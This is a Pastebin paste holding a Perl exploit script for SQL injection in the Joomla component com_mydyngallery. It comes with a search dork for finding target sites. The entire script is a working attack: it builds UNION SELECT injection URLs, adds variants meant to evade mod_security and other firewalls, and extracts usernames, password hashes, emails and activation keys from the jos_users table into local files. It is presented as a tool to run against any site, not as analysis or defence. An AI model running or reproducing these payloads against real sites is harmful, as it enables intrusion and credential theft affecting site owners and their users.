Advertisement
alienshack

Joomla0daycommydyngallerysqli

Nov 27th, 2014
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.07 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket::INET;
  3. use LWP::UserAgent;
  4. use Cwd qw();
  5. my $path = Cwd::cwd();
  6.  
  7. print "------------------------------------------------------------------------\n";
  8. print "########################################################################\n";
  9. print "#                   Joomla 0day com_mydyngallery sqli                  #\n";
  10. print "#                   Dork: inurl:index.php?option=com_mydyngallery      #\n";
  11. print "#                   Exploit Author: RIBO                               #\n";
  12. print "#                   Coder: Aliens Hack Hacker                          #\n";
  13. print "########################################################################\n";
  14. print "------------------------------------------------------------------------\n\n";
  15. $target = $ARGV[0];
  16. $component = $ARGV[1];
  17. if($target eq '' || $component eq '')
  18. {
  19. print "Usage: perl exploit.pl http://target.com/ <Method Number> \n";
  20. print "|-------------------------------------------|\n";
  21. print "| 1- Simple Sqli Without Bypassing WAF      |\n";
  22. print "| 2- Bypass Secured WAF                     |\n";
  23. print "| 3- Retrieve Username;Activation Key;Email |\n";
  24. print "| 3- Force Retrieve Datas Method            |\n";
  25. print "|-------------------------------------------|\n";
  26. print " Example: perl exploit.pl http://target.com/ 1 \n";
  27. exit(1);
  28. }
  29.  
  30. open(FILE, "> contents11.txt");
  31.  
  32. if($target !~ /http:\/\//)
  33. {
  34. $target = "http://$target";
  35. }
  36.  
  37. sleep 1.5;
  38. $agent = LWP::UserAgent->new();
  39. $agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1');
  40.  
  41.  
  42. if($component == 1)
  43. {
  44. $host = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users%60";
  45. print " . . Injecting $target . . With Simple Sqli  \n\n";
  46. sleep 1;
  47. $req = $agent->request(HTTP::Request->new(GET=>$host));
  48. $content = $req->content;
  49. if($content =~ /([0-9a-fA-F]{32})/)
  50. {
  51. $password = $1;
  52. print "[+] Password found --> $password :) .\n\n";
  53. sleep 1;
  54. }
  55. else
  56. {
  57. print "[-] Password not found :s Try The Second Method To Bypass WAF Security :( . \n\n";
  58. }
  59. }
  60.  
  61.  
  62.  
  63. if($component == 2)
  64.  
  65. {
  66. print " . . Injecting $target . . With Smart WAF Bypass Methods |Have a cigaret| ^_^ and be patient \n\n";
  67. sleep 1;
  68. print " . . Loading mod_security Bypass and 406 error Bypass and Other Bypass . . Please wait ^_^ . .Drink a Cofee xD ! \n\n";
  69. $host = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users%60";
  70. $host1 = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users%60";
  71. $host2 = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users%60";
  72.  
  73.  
  74. @hosts = ($host,$host1,$host2);
  75. foreach $hos(@hosts)
  76. {
  77. sleep 1;
  78. $req = $agent->request(HTTP::Request->new(GET=>$hos));
  79. $content = $req->content;
  80. if($content =~ /([0-9a-fA-F]{32})/)
  81. {
  82. $password = $1;
  83. print "Password found --> $password :) . \n\n";
  84. sleep 1;
  85. }
  86. else
  87. {
  88. print "Component com_mydyngallery of $target is patched  :( . \n\n";
  89. sleep 1;
  90. }
  91. }
  92. }
  93.  
  94. if($component == 3)
  95.  
  96. {
  97. print "Copying Datas To $path ^_^\n";
  98. sleep 1;
  99.  
  100. $agent = LWP::UserAgent->new();
  101. $agent->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)') ;
  102. $host = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1' union select 1,2,3,group_concat(username,0x3a,0x3a,0x3a,0x3a,email,0x3a,0x3a,activation,0x3a,usertype),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users%60";
  103. $req = $agent->request(HTTP::Request->new(GET=>$host));
  104. if($req->is_success && $req->content =~ /::::/ )
  105. {
  106. open(FILE, "> content.txt");
  107. print FILE $req->content;
  108. close(FILE);
  109. $grep = "grep '::::' content.txt > content1.txt";
  110. }
  111.  
  112. else
  113. {
  114. print "[-] Datas Can't Be Copied :( ";
  115. }
  116. }
  117.  
  118.  
  119.  
  120. if($component == 4)
  121.  
  122. {
  123. print "Copying Datas To $path ^_^\n";
  124. sleep 1;
  125.  
  126. $agent = LWP::UserAgent->new();
  127. $agent->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)') ;
  128. print " . . Using ForceCopy Method To Retrieve Datas ... \n\n";
  129. $host = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1' /*!00000union*/ select 1,2,3,group_concat/*!(username,0x3a,0x3a,0x3a,0x3a,email,0x3a,0x3a,activation,0x3a,usertype)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users%60";
  130. $host1 = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1'%20/*!00000union*/%20select%201,2,3,group_concat/*!(username,0x3a,0x3a,0x3a,0x3a,email,0x3a,0x3a,activation,0x3a,usertype)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users%60";
  131. $host2 = $target . "/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(username,0x3a,0x3a,0x3a,0x3a,email,0x3a,0x3a,activation,0x3a,usertype)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users%60";
  132.  
  133. @hosts = ($host,$host1,$host2);
  134. foreach $hos(@hosts)
  135. {
  136. $req = $agent->request(HTTP::Request->new(GET=>$hos));
  137. if($req->is_success && $req->content =~ /::::/ )
  138.  
  139. {
  140. open(FILE, "> content.txt");
  141. print FILE $req->content;
  142. close(FILE);
  143. $grep = "grep '::::' content.txt > content1.txt";
  144. }
  145.  
  146. else
  147. {
  148. print "[-] Method Failed on $target :( ";
  149. }
  150. }
  151. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement